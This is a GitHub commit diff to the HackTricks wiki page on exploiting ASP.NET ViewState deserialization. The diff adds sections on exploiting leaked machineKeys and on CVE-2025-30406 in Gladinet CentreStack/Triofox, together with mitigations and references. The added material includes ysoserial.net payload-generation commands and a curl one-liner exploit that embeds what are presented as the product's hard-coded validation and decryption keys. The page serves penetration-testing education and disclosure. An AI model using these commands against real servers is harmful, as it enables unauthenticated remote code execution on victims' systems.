Skip to content

Commit 81eeb63

Browse files
authored
Merge pull request HackTricks-wiki#1245 from HackTricks-wiki/research_update_src_pentesting-web_deserialization_exploiting-__viewstate-parameter_20250806_014331
Research Update Enhanced src/pentesting-web/deserialization/...
2 parents e552ff1 + e655dd5 commit 81eeb63

File tree

1 file changed

+42
-1
lines changed

1 file changed

+42
-1
lines changed

‎src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md‎

Lines changed: 42 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -237,8 +237,50 @@ curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"
237237

238238
This **key-exfiltration primitive** was mass-exploited against on-prem SharePoint servers in 2025 ("ToolShell"CVE-2025-53770/53771), but it is applicable to any ASP.NET application where an attacker can run server-side code.
239239

240+
## 2024-2025 Real-world Exploitation Scenarios and Hard-coded Machine Keys
241+
242+
### Microsoft “publicly disclosed machine keys” wave (Dec 2024 – Feb 2025)
243+
Microsoft Threat Intelligence reported mass exploitation of ASP.NET sites where the *machineKey* had previously been leaked on public sources (GitHub gists, blog posts, paste sites). Adversaries enumerated these keys and generated valid `__VIEWSTATE` gadgets with the newer `ysoserial.net` 1.41 `--minify` and `--islegacy` flags to evade WAF length limits:
244+
245+
```bash
246+
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
247+
--validationkey=<LEAKED_VALIDATION_KEY> --validationalg=SHA1 \
248+
--decryptionkey=<LEAKED_DECRYPTION_KEY> --decryptionalg=AES \
249+
--generator=<VIEWSTATEGEN> --minify
250+
```
251+
252+
Rotating static keys or switching to *AutoGenerate* keys in Web .config (`<machineKey ... validationKey="AutoGenerate" decryptionKey="AutoGenerate" />`) mitigates this class of attacks. {{#ref}}
253+
254+
{{#endref}}
255+
256+
### CVE-2025-30406 – Gladinet CentreStack / Triofox hard-coded keys
257+
Kudelski Security uncovered that multiple CentreStack / Triofox releases shipped with identical `machineKey` values, enabling unauthenticated remote code execution through ViewState forgery (CVE-2025-30406).
258+
259+
One-liner exploit:
260+
261+
```bash
262+
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \
263+
--validationkey=ACC97055B2A494507D7D7C92DC1C854E8EA7BF4C \
264+
--validationalg=SHA1 \
265+
--decryptionkey=1FB1DEBB8B3B492390B2ABC63E6D1B53DC9CA2D7 \
266+
--decryptionalg=AES --generator=24D41AAB --minify \
267+
| curl -d "__VIEWSTATE=$(cat -)" http://victim/portal/loginpage.aspx
268+
```
269+
270+
Fixed in CentreStack 16.4.10315.56368 / Triofox 16.4.10317.56372upgrade or replace the keys immediately. {{#ref}}
271+
272+
273+
{{#endref}}
274+
240275
## References
241276

277+
- [Exploiting ViewState deserialization using Blacklist3r and YSoSerial.NET](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
278+
- [Deep dive into .NET ViewState deserialization and its exploitation](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
279+
- [Exploiting deserialisation in ASP.NET via ViewState (Soroush Dalili, 2019)](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
280+
- [Introducing badsecretsfast machineKey discovery](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
281+
- [SharePointToolShellexploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/)
282+
- [Microsoft SecurityCode injection attacks abusing publicly disclosed ASP.NET machine keys (Feb 6 2025)](https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/)
283+
- [Kudelski Security advisoryGladinet CentreStack / Triofox RCE CVE-2025-30406 (Apr 16 2025)](https://research.kudelskisecurity.com/2025/04/16/gladinet-centrestack-and-gladinet-triofox-critical-rce-cve-2025-30406/)
242284
- [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
243285
- [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
244286
- [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
@@ -250,4 +292,3 @@ This **key-exfiltration primitive** was mass-exploited against on-prem SharePoin
250292
{{#include ../../banners/hacktricks-training.md}}
251293

252294

253-

0 commit comments

Comments
 (0)